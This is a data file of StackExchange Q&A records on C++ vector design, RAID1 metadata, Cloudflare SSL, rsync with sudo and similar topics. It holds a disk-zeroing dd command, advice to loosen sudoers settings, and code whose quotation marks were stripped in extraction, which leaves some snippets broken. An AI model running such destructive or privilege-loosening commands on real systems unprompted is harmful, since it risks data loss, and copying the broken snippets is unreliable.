test2.push_back(Hello);        test2.push_back( );        test2.push_back(World);        test2.push_back(.);        cout << --------------- << endl;        for (i=0; i<test2.getCapacity(); i++){            cout << test2[i];        }        cout << endl;    }    catch(...){        cout << Exception. << endl;    }    return 0;}"  , "title": "My own std::vector"  , "tags": "c++;template;vectors"  , "accepted_answer": "Don't use double underscore.#ifndef __STDVECTOR__#define __STDVECTOR__Identifiers with double underscores are reserved for the implementation.see: What are the rules about using an underscore in a C++ identifier?Stop usingusing namespace std;This kind of thing can break so much code. Putting it in your header file will get you banned from open source projects as you corrupt the global namespace of any compilation unit that includes your header. Even in your own source files it is a bad idea as it potentially introduces hard to spot errors.see: Why is using namespace std in C++ considered bad practice?Don't build objects that have not been added.Your current design is flawed.    template <typename T>    class StdVector{            T *buffer;            ...                buffer=new T[capacity];Because you only have one size value (a capacity) your code becomes tremendously inefficient (as we see when we get to push back).You should have two sizes.The capacity: The amount of space allocated for objects in your vector.The size: The number of objects in the vector.Without both these sizes they have to be the same value. This means you can not pre-allocate space and each time you add or remove elements you must resize the vector and this includes both allocating new space and copying all the elements into the newly allocated spaceI go into a lot of detail in my article:Vector - Resource Management AllocationPrefer to use initializer list.        StdVector(){            capacity=0;            buffer=new T[capacity];        }This is totally fine and works. But it is a bad habit. If you change the types of the members you are potentially making your class inefficient as the members are constructed before the body of the class is entered. You then modify them in the body.        StdVector()            : buffer(new T[capacity])            , capacity(0)        {}Rule of threeYour assignment operator is way down in your code. I initially thought you were violating the rule of three. Put your assignment operator close to the constructors.Assignment operator not exception safe.This assignment operator is the classic first attempt.            StdVector &operator=(const StdVector &obj){                capacity=obj.getCapacity();                delete []buffer;                buffer=new T[capacity];                buffer=obj.getBuffer();                return *this;            }But it is prone to leaking and leaving the object in an inconsistent state if there are exceptions (in the constructor of T).You should use the copy and swap idiom.            StdVector &operator=(StdVector tmp) // notice the pass by value            {                                   // this creates a copy.                tmp.swap(*this);                return *this;            }            void swap(StdVector& other) noexcept            {                using std::swap;                swap(capacity,   other.capacity);                swap(buffer,     other.buffer);            }I cover this in a lot of detail in:Vector - Resource Management Copy SwapPush back ineffecientYou are making a copy of the whole vector each time you add an element. But you are doing it twice to make even more inefficient that the original inefficiency imposed by your design.            void push_back(T obj){                StdVector oldSV(*this);                int i;                capacity++;                delete []buffer;                buffer=new T[capacity];                for (i=0; i<oldSV.getCapacity(); i++){                    buffer[i]=oldSV[i];                }                buffer[i]=obj;            };You can get rid of one copy like this:            void push_back(T obj){                    int newCapacity = capacity + 1;                T*  newBuffer   = new T[newCapacity];                for (int i = 0; i < capacity; ++i){                    newBuffer[i]=capacity[i];                }                swap(capacity, newCapacity);                swap(buffer,   newBuffer);                delete [] newBuffer;            };Still not very good. But better than the original.For Loops incrementing iterators.Prefer to declare the loop variable inline.Prefer to use prefix increment (not all iterators are as efficient as int).Like this:                for (int i = 0; i < capacity; ++i){                    newBuffer[i]=capacity[i];                }Badly named method.This does not get the buffer.            T getBuffer() const{                if (capacity==0){                    throw exception();                }                return *buffer;            };It returns a copy of the first element in the vector.Efficiency.Normally in C++ the operator[] does unchecked access to the elements. Because there is no need to pay for the check in the method if the calling code already does the check.             T &operator[](int index) const{                if (index>=capacity){                    //Out of range.                    throw exception();                }                else{                    return buffer[index];                }            }To give us checked accesses we usually implement the function T& at(int index). This provides checked access to the vector for situations where the calling code does not check.for(int loop = 0;loop < v.size(); ++loop){    v[loop] = stuff(); // no need to check `loop` is in bounds.                       // we know it is in bounds because of the context.}int index;std::cin >> index;std::cout << v.at(index) << \\n; // here we want checked access.I would write:T& operator[](int index)  {return buffer[index];}T& at(int index)          {checkIndex(index);return buffer[index];}Const correctness             T &operator[](int index) constThis function is not const correct. You promise not to mutate the object by marking the function as const but then return a reference that is not const thus allowing the object to be mutated. void bla(StdVector<int> const& data) {     data[5] = 8; // You just mutated a const object. }You should define two versions of this operator one for const and one for non const usage.  T const&  operator[](int index) const;  T&        operator[](int index);"  } 
{  "id": "_softwareengineering.2410"  , "question": "I am referring to explaining to the non-programmer what programming is. I made sure to search for similar questions before creating this one, but the few ones I did find seemed to dodge the question, and I specifically would like to see some metaphors or analogies. I personally find it easier to explain something technical to someone through the use of metaphors or analogies.The reason I'm interested in this is because many people encounter the work of a programmer on a daily basis, but if you ask the average person what a programmer is or does, they don't really know. This leads to certain situations of misunderstanding (ex. [...] but I thought you were good with computers!)I really would like to find the best one out there. I would like to be able to easily explain to someone what my career choice is about. Of course, at least the general idea.I personally don't have a solid one, but I have long thought about it and I have usually gravitated towards the 'language' metaphor, where we happen to know a language that computers understand, and therefore we are able to tell computers what to do, or teach them, to solve our problems.For example:Imagine that in an alternate reality, humanoid robots with artificial intelligence exist, and some people are able to communicate with them through a common language, which is a variation of English. These people who can communicate with the robots are able to teach them how to solve certain problems or do certain tasks, like doing our chores.Well, although robots like that don't exist yet, programmers of our time are like those people, but instead of communicating with the robots, they communicate with computers. Programmers teach the computers how to perform certain tasks or solve certain problems by means of software which they create by using this common language.Programmers and this common language are what give us things like email, websites, video games, word processors, smart phones (to put it simply), and many other things which we use on a daily basis.I don't mean to put programming on the throne or anything, it's just the best metaphor I could come up with.I'm sure someone will find some issue with this one, it's probably a bit contrived, but then again that's why I'm asking this question."  , "title": "What's a good Programming Metaphor?"  , "tags": "programming languages"  } 
{  "id": "_unix.197990"  , "question": "Is there a Linux version of http://www.linuxliveusb.com/ for example?A GUI way to creating a bootable USB stick."  , "title": "Bootable USB creator for Linux"  , "tags": "linux"  } 
{  "id": "_softwareengineering.352896"  , "question": "I see and work with a lot of software, written by a fairly large group of people.  LOTS of times, I see integer type declarations as wrong.  Two examples I see most often: creating a regular signed integer when there can be no negative numbers.  The second is that often the size of the integer is declared as a full 32 bit word when much smaller would do the trick.  I wonder if the second has to do with compiler word alignment lining up to the nearest 32 bits but I'm not sure if this is true in most cases.When you create a number, do you usually create it with the size in mind, or just create whatever is the default int?edit - Voted to reopen, as I don't think the answers adequately deal with languages that aren't C/C++, and the duplicates are all C/C++ base.  They fail to address strongly typed languages such as Ada, where there cannot be bugs due to mismatched types...it will either not compile, or if it can't be caught at compile time, will throw an exception.  I purposely left out naming C/C++ specifically, because other languages treat different integers much differently, even though most of the answers seem to be based around how C/C++ compilers act."  , "title": "Why are so many of the numbers I see signed when they shouldn't be?"  , "tags": "programming practices"  , "accepted_answer": "Do you see the same thing? Yes, the overwhelming majority of declared whole numbers are int.Why?Native ints are the size your processor does math with*. Making them smaller doesn't gain you any performance (in the general case). Making them larger means they maybe (depending on your processor) can't be worked on atomically, leading to potential concurrency bugs. 2 billion and change is big enough to ignore overflow issues for most scenarios. Smaller types mean more work to address them, and lots more work if you guess wrong and you need to refactor to a bigger type.It's a pain to deal with conversion when you've got all kinds of numeric types. Libraries use ints. Clients use ints. Servers use ints. Interoperability becomes more challenging, because serialization often assumes ints - if your contracts are mismatched, suddenly there are subtle bugs that crop up when they serialize an int and you deserialize a uint.In short, there's not a lot to gain, and some non-trivial downsides. And frankly, I'd rather spend my time thinking about the real problems when I'm coding - not what type of number to use.*- these days, most personal computers are 64 bit capable, but mobile devices are dicier."  } 
{  "id": "_datascience.17168"  , "question": "I have a dataset of Key Performance Indicator (KPI) and for each KPI I have a current level of achivement and 2 targets : Target1 and Target2.How can I automatically generate one graphic for each achievement as in the file attached here.As I have many KPIs I would like to generate my graphics in a batch process"  , "title": "How to generate bulk graphics using R"  , "tags": "r;dataset;visualization;data;excel"  , "accepted_answer": "There are multiple ways you can achieve this. I guess the easiest would be to create a function that saves a bar chart for your KPI to a file:save_KPI_plot <- function(fn, kpi_data) {    png(paste0(fn, .png))    # Plot code    dev.off()}You can call the function either as follows,save_KPI_plot(kpi_1, kpi_1_data)or store your file names in one list and your data in another and loop over both:kpi_fns <- list(filename_1, filename_2)kpi_data <- list(kpi_1_data, kpi_2_data)for (i in seq_along(kpi_fns)) {    save_KPI_plot(kpi_fns[i], kpi_data[i])}If you prefer to have a different image format you can change png() to bmp() or jpeg()."  } 
{  "id": "_unix.78443"  , "question": "How do you set a shorter timeout value for read/write I/O errors on MacOSX?We tend to get a few semicrashed disks and want to rsync the contents to a secure location, but when the file subsystem hits a block with an error it tends to freeze up all the processes pertaining to that file system. We use MacSO X so that we can read HFS+.I recon this is something you have to change on kernel level or even firmware (so asking at Ask Different is wasted).The alternative is to have an rsync exclude file and each time I hit a bad block I add the filename of the failed file to the excludes, pull the plug (literally) on the broken disk to provoke a flush and reconnect, but that is more than likely to destroy the disk even further."  , "title": "Shorter timeout on I/O errors MacOS X"  , "tags": "osx;io;timeout;darwin"  } 
{  "id": "_webmaster.34801"  , "question": "I would like to know if there is a way to change default px unit after you hover an element in dev tools, into em, percent, in, pt, pc. Most important for me would be possibility to see em values of an element. Thank you in advance for you answers, I am aware of calculators, or doing that myself. Having such a feature would speed up my work."  , "title": "Google Chrome developer tools metric units"  , "tags": "plugin;google chrome;development;measure"  } 
{  "id": "_webmaster.77282"  , "question": "I have some pages on my website that are intended for other users to embed those pages on their own webpages using iframes. My iframed pages have a Google Analytics tracking code and each time they are embedded on someone elses page, it counts as a normal page view, per Google's recommendation.However, in some cases on my own website I need to add the same iframed pages, mostly as an example for other users so they know how to properly add the iframes to their own websites.So this results in an inflated page view count in GA because my webpage gets a page view and then my iframe I add also gets a page view, resulting in 2 page views for a single page.How can I avoid this problem?"  , "title": "Avoid inflated pageviews when iframing your own webpage?"  , "tags": "google analytics;iframe;page views"  } 
{  "id": "_unix.339379"  , "question": "I've got a raspberry pi 3 at home running raspbian, and I would like to setup up an openvpn router, such that I can connect to my provider windscribe by choosing my raspberry pi as the gateway. It is connected by ethernet to my main router, which I do not want to run openvpn on, as it would affect all machines on my network, which would affect gaming. Setting up openvpn or even running it on boot isn't my problem, it's setting up routing that's been affecting me, as iptables-persistent will not install as netfilter-persistent isn't configured yet, and I do not understand how to fix it."  , "title": "Setting up openvpn router on raspberry pi"  , "tags": "routing;raspbian;openvpn"  } 
{  "id": "_unix.348042"  , "question": "My Raw log file similar to production log i have tweaked this,Block f1PCO Blockf1tray:school       SAM :XP         X/Y       DUPL   KEY  Z/ZBlock f2PCO Blockf2tray:school       SAM :XP         D/D       DUPL    KEY D/DBlock f3PCO Blockf3tray:school       SAM :AP         X/Y       DUPL   KEY  Z/Z-----cont.. more than 800 recordsexpected result with applied filters as follows:condition1:If SAM :XP is found with Z/Z above X/Y(FYI...Z/Z above row contains X/Y) then print like thisBlock f1PCO Blockf1tray:school       SAM :XP         X/Y       DUPL   KEY  Z/Zcondition2:IF SAM :XPis found with D/D above D/D(FYI...D/D above row contains D/D) then printBlock f2PCO Blockf2tray:school       SAM :XP         D/D       DUPL    KEY D/Dlike these it has traverse 800 records and print these output to junk.txt.NOTE: Rows may decrease or increase Here Block is treated as starting and ending, in-between PCO BlockXX is there, script should not consider that block ignore that.Thanks I tried so far  awk 'BEGIN{RS=Block\\n; ORS=RS} $0== || /KEY:ZZ/ && /XY/ {print}' raw.txt >> junk.txt.I am using HP-UX"  , "title": "Print entire Block if multiple strings are found inside Start ---End"  , "tags": "text processing;awk;hp ux"  , "accepted_answer": "Almost standart task for sedsed '    /^Block/! D    :1    N    $!{       /\\n\\s*KEY/! b1    }    \\%SAM.*D/D.*D/D\\|SAM.*X/Y.*Z/Z%! d    ' logproduceBlock f1PCO Blockf1tray:school       SAM :XP         X/Y       DUPL   KEY  Z/ZBlock f2PCO Blockf2tray:school       SAM :XP         D/D       DUPL    KEY D/DBlock f3PCO Blockf3tray:school       SAM :AP         X/Y       DUPL   KEY  Z/Z"  } 
{  "id": "_unix.60772"  , "question": "I installed Arch a couple of days ago. Just realized the date/time were off by a day and one hour.I changed it using timedatectl set-time. Then used hwclock --systohc to set the hardware clock. After that I was not able to enter some sites like Gmail because of https certificate errors. I tried changing the time back but it did not work.I rebooted and then had problems because the partitions had mounted on a different time so I used fsck /dev/sda on my partitions and I was able to boot up. Right now the clock is not a problem but I really need to check my mail. I had to use Facebook to log in to stackexchange cringe.Help?This is what Gmail's error page say:The server's security certificate is not yet valid!  You attempted to reach gmail.com, but the server presented a certificate that is not yet valid. No information is available to indicate whether that certificate can be trusted. Chromium cannot reliably guarantee that you are communicating with gmail.com and not an attacker. Your computer's clock is currently set to Tuesday, January 10, 2012 12:14:47 PM. Does that look right? If not, you should correct your system's clock and then refresh this page.You cannot proceed because the website operator has requested heightened security for this domain."  , "title": "I messed up my system clock in Arch Linux"  , "tags": "linux;arch linux;date;time"  , "accepted_answer": "I used the ntp solution in this article. Updated against a time server.I was getting an error at first. You have to stop ntp before using a time server. If it can't find a server you have to specify it, in my case I used: sudo ntpdate 0.us.pool.ntp.org. That did it."  } 
{  "id": "_unix.17319"  , "question": "hd and od are both dump viewers of binary content. Can hd be used wherever od is and vice versa?"  , "title": "Can hd and od replace each other?"  , "tags": "utilities;binary;od"  , "accepted_answer": "hd is a synonym for hexdump -C on FreeBSD and on some Linux distributions. hexdump is from the BSD days; od is from the dawn of time. Only od is standardized by POSIX. The Single UNIX rationale discusses why od was chosen in preference to hd or xd.These commands do very similar things: display a textual representation of a binary file, using octal, decimal or hexadecimal notation. There's no fundamental difference between the two.They have many options to control the output format, and some formats can only be achieved with one or the other command. In particular, to see a glance of what's in a binary file, I like hd's output format, with a column on the right showing printable characters literally; od can't do that.$ od /bin/sh | head -n 2                # od default: octal, 2-byte words0000000 042577 043114 000402 000001 000000 000000 000000 0000000000020 000002 000076 000001 000000 170020 000101 000000 000000$ od -Ax -t x1 /bin/sh | head -n 2      # od showing bytes in hexadecimal000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00000010 02 00 3e 00 01 00 00 00 10 f0 41 00 00 00 00 00$ hd /bin/sh | head -n 2                # hd default output: nice00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|00000010  02 00 3e 00 01 00 00 00  10 f0 41 00 00 00 00 00  |..>.......A.....|"  } 
{  "id": "_cs.37562"  , "question": "It is common to define $P$-completeness with respect to logspace many-one reductions. I am looking for a complexity class $C$ such that if $C=P$ then all problems in $P$ are $P$-complete under many-one $C$-reductions. What is the weakest many-one reduction (computable in class $C$) for which the class of P-complete problems remains unchanged?Note that $C$ is contained in $P$."  , "title": "Weakest reduction for P-completeness"  , "tags": "complexity theory"  } 
{  "id": "_webmaster.67930"  , "question": "Cloudflare lets you serve your site over SSL without having to purchase and install a security certificate, a product they call Flexible SSL. (They act as a proxy and serve your site over SSL from their servers, while the connection from your server to theirs remains unencrypted.)They currently offer Flexible SSL for free.With Google's announcement that HTTPS is now a ranking signal, I'm considering switching several sites to Cloudflare, buying a Pro account, and turning on their Flexible SSL option, because it seems like the easiest way to serve several sites over HTTPS without having to purchase and manage multiple certificates.Is there any downside to Cloudflare's Flexible SSL?I'm comfortable using Cloudflare as a proxy  I'm more interested in two factors:The experience for end-users. (e.g. Will visitors see security warnings?)The level of security offered. (Enough for a simple blog, but not for an online shop because they'd pass credit card data from their server to yours unencrypted?)"  , "title": "Are there any disadvantages to Cloudflares Flexible SSL?"  , "tags": "seo;security;https;cloudflare"  , "accepted_answer": "Flexible SSL is NOT fully secureCloudFlare's Flexible SSL provides encryption from the user to CloudFlare's servers, but not from their servers to the website server. This avoids the hassle of installing (and renewing) a certificate on your web server, but does mean traffic gets sent plain text over the 2nd half of the journey.The benefits of this setup are:Easy to get started, no need to install certificates on your web server and deal with the periodic renewalsProvides protection from eavesdropping on insecure WiFi connections (internet cafes) and others on your local network or at the ISP level.Users will see a green padlock in their browser and should not receive any security warningsThe inherent problems are:Traffic from CloudFlare to your server is not encrypted, meaning wholesale ISPs, trunk providers, and the NSA can still read all requests in plain-textThe traffic is subject man-in-the-middle (MITM) attacks where another server can impersonate your server and receive its traffic (although this issue also applies to the Full SSL setting, you'll need Strict mode to avoid this).Because of the above, it provides a misleading and false sense of security to your web site visitors (but that's a rant not appropriate for this venue)Comparison of the SSL settingsNot encrypting traffic between a proxy and backend server is common when the traffic is sent over a private, secured network.  But in this case, you are routing traffic over the public internet.  CloudFlare recommends that you also install a certificate on your web server for true end-to-end encryption, and even provide free certificates via their dashboard for doing so (if you don't want to install a self-signed certificate). From the discussion on the CloudFlare Blog:Actually, we'll be providing a free certificate that's pinned to the  domain that you can install on your server for end-to-end crypto.Whether Full or Flexible SSL is used, your users should not see a pop-up or other warnings."  } 
{  "id": "_cstheory.36280"  , "question": "I am looking at the following solved exercise: I haven't really understood at the reduction the part that we construct for each number $a_i$ a package of measurement $(\\frac{4}{A}a_i, 5,3)$. Why do we consider this measurement?"  , "title": "Could you explain to me the reduction?"  , "tags": "computability;reductions;np complete"  } 
{  "id": "_unix.326106"  , "question": "I created a RAID1 withmdadm --create /dev/mdX --level=mirror --raid-devices=2 /dev/sdb /dev/sdcThen watched the first sync on /proc/mdstat. It says [UU]. So far so good.sd[bc] were supposed to have been shreded, but I did not check before, figuring that all contents were going to be overwritten anyway.I proceeded to create a volume group on that device, and then created an ext4 FS in a fresh logical volume.Wanting to mount via UUID, I dumped them all with blkid. Already visually the RAID1 array looked off.blkid (only relevant lines shown):/dev/mdX: UUID=... TYPE=LVM2_member/dev/sdb: UUID=... UUID_SUB=... LABEL=...:0 TYPE=linux_raid_member/dev/sdc1: PARTUUID=0xd25946fbI was expecting 2 linux_raid_members, and whats with /dev/sdc1? I again check:# cat /proc/mdstat  (shortened)Personalities : [raid1] mdX : active raid1 sdb[0] sdc[1]  976631488 blocks super 1.2 [2/2] [UU]  bitmap: 2/8 pages [8KB], 65536KB chunk# cat /proc/partitions (shortened)major minor  #blocks  name   8       32  976762584 sdc   8       33  976759808 sdc1   8       16  976762584 sdb   9        0  976631488 md0# fdisk -l /dev/sd[bc]Disk /dev/sdb: (empty, as expected, both disk geoms identical, also expected)Disk /dev/sdc: 931.5 GiB, 1000204886016 bytes, 1953525168 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisklabel type: dosDisk identifier: 0xd25946fbDevice     Boot Start        End    Sectors   Size Id Type/dev/sdc1        2048 1953521663 1953519616 931.5G  7 HPFS/NTFS/exFATAgain sdc1.So it looks like sdc was never shredded. But shouldn't all previous meta-data/partition info be overwritten by mdadm --create? Thinking it may be cached info, I run partprobe. No change. I try reboot, no change. So, It looks like there still is a partition table on the drive.I have a few ideas, and I decide to post this to SE.So, while writing this post, I wanted to post a more precise blkid command, so I executed blkid /dev/sd[bc]{,1} /dev/mdX, and pasted it into this post:/dev/sdb: UUID=... UUID_SUB=... LABEL=...:0 TYPE=linux_raid_member/dev/sdc: UUID=... UUID_SUB=... LABEL=...:0 TYPE=linux_raid_member/dev/sdc1: PARTUUID=d25946fb-01/dev/mdX: UUID=... TYPE=LVM2_memberIn the preview for this post I saw that it was too regular, and -lo and behold- spotted the second RAID-Member! Doubting my sanity, I executed blkid without parameters again. sdc, the second RAID-member is not shown.At this point my problems seems to boil down to:How do I get rid of the partition table (safely), and will I then get my second raid-member in blkid w/o parameters? What other problems could arise if i just leave this be? At this point it looks like my RAID1 is operational, but is it? How would I best test that?The ideas I had built up up to and including now are:Bulldoze online: dd if=/dev/zero bs=512 count=1 of=/dev/sdc and run partprobe and blkid afterwards. But wont that trip up any mdadm or anything else somehow?fail the member, disconnect (logically), bulldoze first few MiBs off-line, reconnect (logically), re-synchronize. I'd rather not.Find out through SE about the standard way of dealing with leftover meta-data only found after array creation.Without U.SE I would probable have tried 1) and then 2), being fairly sure that 2) would work, but be the least elegant and most lengthy way.The data on that md is not vital, and in the absence of answers I will try 1) then 2). I will post results. But I'll still be interested in knowing why sdc does not get shown as raid-member with blkid, while it does get shown with blkid /dev/sd[bc], whereas sdb is shown in both cases."  , "title": "RAID1 `mdX` looks O.K. on `/proc/mdstat`, but `blkid` and `fdisk -l` of the members report whacky/faulty values"  , "tags": "mdadm;software raid;raid1;partition table;libblkid"  } 
{  "id": "_scicomp.7633"  , "question": "I have a set of users who have won a game('jim', 12), ('james', 54), ('john', 76), ('dave', 22), ('garry', 34), ('stuart', 16)I want to award them a share of points based on their position in the game on a sliding scale. The 'global pot' is $100 and I would like the winner to get the most with other users getting less based on a sliding scale to their position. Would anyone know of a 'scoring' algorithm to do this...? Similar to ones used in poker but with a fixed pot."  , "title": "algorithm to assign points to winning users"  , "tags": "algorithms"  , "accepted_answer": "You could easily use their fraction of the total points as the fraction of the pot to win. I.e., divide each score by the total of all the scores then multiply that by $100."  } 
{  "id": "_unix.282998"  , "question": "I have Raspberry Pi 2 which runs on Raspbian OS and External HDD is connected and mounted to it. It is connected to local server. I have a laptop and I want to boot Ubuntu from External HDD which is connected to Raspberry Pi. Is this possible. If yes, then provide me resources and links."  , "title": "How can I boot ubuntu from external Hard disk drive which is connected to Raspberry Pi"  , "tags": "networking;boot;raspberry pi"  } 
{  "id": "_unix.329832"  , "question": "I'm setting up rsync to transfer files from ServerA to ServerB, and need to preserve timestamps and permissions.   They key here is the files are owned by a different account than the one performing the file transfer. rsync transfers files using the example below: rsync -a /colorschemes/ acoder@bu.my.box.net:/colorschemes/ --deleteThe -a flag yields the following types of errors: rsync: failed to set times on /colorschemes/946/ex: Operation not permitted (1)rsync: failed to set permissions on /colorschemes/946/ex/blue.pdf: Operation not permitted (1)On the remote system, the acoder account has a similar error when attempting to manually set permissions on a file: [acoder@bu ~]$ chown apache:codingteam /colorschemes/946chown: changing ownership of /colorschemes/946: Operation not permittedThis works OK, though: [acoder@bu ~]$ sudo chown apache:codingteam /colorschemes/946Is there a way to make the remote rsync use sudo? "  , "title": "forcing sudo on remote rsync server"  , "tags": "permissions;sudo;rsync"  , "accepted_answer": "For using sudo with rsync in remote machine you can call it with --rsync-path=sudo rsync but be aware of the require TTY, you skip it by removing Defaults requiretty from sudoers file. If you want to change the permission for anything you don't own, you have to use sudo if you were not rootor there is a different way like setting a setuid on chmod, chown then any one can run the chmod, chown as a root, but that will be horrible."  } 
{  "id": "_webmaster.100552"  , "question": "It took me a while but I finally found out how to use filters to block spam from my analytics.I currently have the following filter pattern applied to 'campaign source'semalt\\.com|buttons-for-website\\.com|rank-checker\\.online|monetizationking\\.net|site-auditor\\.online|topbestlisted\\.com|site-speed-check\\.site|site-speed-checker\\.site|scanner-elena\\.top|scanner-mary\\.top|scanner-irvin\\.top|scanner-jack\\.topI've just noticed a couple of new spam bots that have recently showed up under my Referrals section, but now it won't let me add any more to the filter pattern due to the character limit.What is the best solution to get around it? Do I just have to set up an additional filter?"  , "title": "Google Analytics  character limit on Filter Pattern field"  , "tags": "google analytics;analytics;spam;spam prevention;google analytics spam"  } 
{  "id": "_softwareengineering.116352"  , "question": "At the company I'm working we support two versions of the software we develop. One version is available for customers, and one version the developers are developing new functionality in. The version available for customers is also changed by developers, to fix the bugs our customers have found.So, for example we have a 4.1 version available for customers, and we are developing 4.2. As soon as we release 4.2, 4.1 gets closed, and we start developing on 4.3. Currently we have two trunks, one for each version that is open for development. Every time a bug is fixed in the released version, we have to merge it in the new version too. This is extra work. Next to this, we would like to work in advance, and have a version already finished 'on the shelf', and already start on a new version. Which would mean if we fix a bug in the released version, we would have to merge it in three trunks!Is there a better way of structuring this, and possibly eliminate the duplicate merges? Are we doing something completely wrong?Thanks in advance."  , "title": "How to manage two major versions using SVN?"  , "tags": "version control;svn"  , "accepted_answer": "The usual terminology here would be that you have one trunk (the code leading to 4.3) and two branches (4.1 and 4.2), even though the branch for 4.1 will be closed according to your description when 4.2 is released (at the same time that the new 4.2 branch is created).You can avoid the three-end situation when you do your advance work in a feature branch that is not intended to be bug free. That is, you'd have three open ends:trunk (will be 4.2 some day)branches/4.1branches/conquer-the-world (a feature planned for 4.3)and only merge bugfixes from 4.1 into 4.2. When conquer-the-world is finished (some point after the release of 4.2, I presume), merge it into trunk."  } 
{  "id": "_unix.211727"  , "question": "I would like to know because I am going to use a power pc mac g5 for making my distribution. I also need to know if it makes my remaster the powerpc architecture and how to change it to 32 or 64-bit if possible. "  , "title": "Will a remastered debian for powerpc still be in the powerpc architecture?"  , "tags": "debian;powerpc"  } 
{  "id": "_unix.92301"  , "question": "I need to deploy an ASP.NET MVC4 (MVC3 at least) application on Centos 6 server.I've installed Mono 3.2.1, XSP4, mod_mono (for use with apache web server) and succesfully ran the test application that goes with mono. I used a config tool to create a config for app directory and deployed an empty ASP.NET WebPages project created in VS2012 on .Net 2.0 - it ran ok. But I need to run an .net 4.5 or at least 4.0 application, so I've set the MonoServerPath to mod-mono-server4 instead of mod-mono-server2 in the config, but now i'm getting a Service Temporarily Unavailable error while trying to access the asp.net project directory (even empty).What should I check for?Update: I checked the apache log and here what it shows:mod-mono-server4Exception caught during reading the configuration file:System.MissingMethodException: Method not found: 'System.Configuration.IConfigurationSectionHandler.Create'.  at System.Configuration.ClientConfigurationSystem.System.Configuration.Internal.IInternalConfigSystem.GetSection (System.String configKey) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.GetSection (System.String sectionName) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.get_AppSettings () [0x00000] in <filename unknown>:0   at Mono.WebServer.Apache.Server.get_AppSettings () [0x00001] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:208   at Mono.WebServer.Apache.Server+ApplicationSettings..ctor () [0x0002a] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:63 mod-mono-server4Listening on: /tmp/mod_mono_server_UnrealRoot directory: /var/www/html/UnrealError: An exception was thrown by the type initializer for System.Net.Sockets.Socketmod-mono-server4Exception caught during reading the configuration file:System.MissingMethodException: Method not found: 'System.Configuration.IConfigurationSectionHandler.Create'.  at System.Configuration.ClientConfigurationSystem.System.Configuration.Internal.IInternalConfigSystem.GetSection (System.String configKey) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.GetSection (System.String sectionName) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.get_AppSettings () [0x00000] in <filename unknown>:0   at Mono.WebServer.Apache.Server.get_AppSettings () [0x00001] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:208   at Mono.WebServer.Apache.Server+ApplicationSettings..ctor () [0x0002a] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:63 mod-mono-server4Listening on: /tmp/mod_mono_server_UnrealRoot directory: /var/www/html/UnrealError: An exception was thrown by the type initializer for System.Net.Sockets.Socketmod-mono-server4Exception caught during reading the configuration file:System.MissingMethodException: Method not found: 'System.Configuration.IConfigurationSectionHandler.Create'.  at System.Configuration.ClientConfigurationSystem.System.Configuration.Internal.IInternalConfigSystem.GetSection (System.String configKey) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.GetSection (System.String sectionName) [0x00000] in <filename unknown>:0   at System.Configuration.ConfigurationManager.get_AppSettings () [0x00000] in <filename unknown>:0   at Mono.WebServer.Apache.Server.get_AppSettings () [0x00001] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:208   at Mono.WebServer.Apache.Server+ApplicationSettings..ctor () [0x0002a] in /usr/src/xsp-2.10.2/src/Mono.WebServer.Apache/main.cs:63 mod-mono-server4Listening on: /tmp/mod_mono_server_UnrealRoot directory: /var/www/html/UnrealError: An exception was thrown by the type initializer for System.Net.Sockets.Socket[Wed Sep 25 08:45:13 2013] [error] Failed to connect to mod-mono-server after several attempts to spawn the process.Update 2Well, after some googling i've found the solution..To fix it u have to copy mod-mono-server4.exe from /opt/mono/lib/mono/4.0 (or wherever u've installed it) to /opt/mono/lib/mono/4.5 and then to edit mod-mono-server4 in /opt/mono/bin from exec /opt/mono/bin/mono $MONO_OPTIONS /opt/mono/lib/mono/4.0/mod-mono-server4.exe $@toexec /opt/mono/bin/mono $MONO_OPTIONS /opt/mono/lib/mono/4.5/mod-mono-server4.exe $@"  , "title": "mod-mono-server 4 is not working, while 2 does"  , "tags": "linux;webserver;mono;.net;asp.net"  } 
{  "id": "_codereview.44115"  , "question": "I thought I would try and write a solution to the Wolf, Goat and Cabbage problem in Java 8 to try and get to grips with lambdas.I am looking for any feedback you might provide. The feedback I am looking for is mainly on code structure and where I could make more, or more simple, use of new Java 8 features.The basic idea of the code is to try and encapsulate the behaviour of the elements of the problem in an OO fashion and process them using lambdas.I started with an enum Member to encapsulate the players of the game. It should be self explanatory.enum Member {    FARMER,    WOLF,    CABBAGE {                @Override                public boolean isSafe(final Set<Member> others) {                    return others.contains(FARMER) || !others.contains(GOAT);                }            },    GOAT {                @Override                public boolean isSafe(final Set<Member> others) {                    return others.contains(FARMER) || !others.contains(WOLF);                }            };    public boolean isSafe(final Set<Member> others) {        return true;    }}Next is the class Bank, this encalsulates a river bank:import static com.google.common.base.Preconditions.checkState;public final class Bank {    public static Bank all() {        return new Bank(EnumSet.allOf(Member.class));    }    public static Bank none() {        return new Bank(ImmutableSet.of());    }    private final ImmutableSet<Member> members;    public Bank(final Set<Member> members) {        this.members = ImmutableSet.copyOf(members);    }    public Bank accept(final Member member) {        checkState(!members.contains(member) && !members.contains(Member.FARMER));        final Set<Member> ms = Sets.newHashSet(members);        ms.add(member);        ms.add(Member.FARMER);        return new Bank(ms);    }    public Bank evict(final Member member) {        checkState(members.contains(member) && members.contains(Member.FARMER));        final Set<Member> ms = Sets.newHashSet(members);        ms.remove(member);        ms.remove(Member.FARMER);        return new Bank(ms);    }    public boolean farmerIsHere() {        return members.contains(Member.FARMER);    }    public boolean hasAllMembers() {        return equals(all());    }    public boolean isEmpty() {        return members.isEmpty();    }    public boolean isFeasible() {        return members.stream().allMatch((m) -> m.isSafe(members));    }    public Stream<Member> stream() {        return members.stream();    }    @Override    public int hashCode() {        int hash = 7;        hash = 97 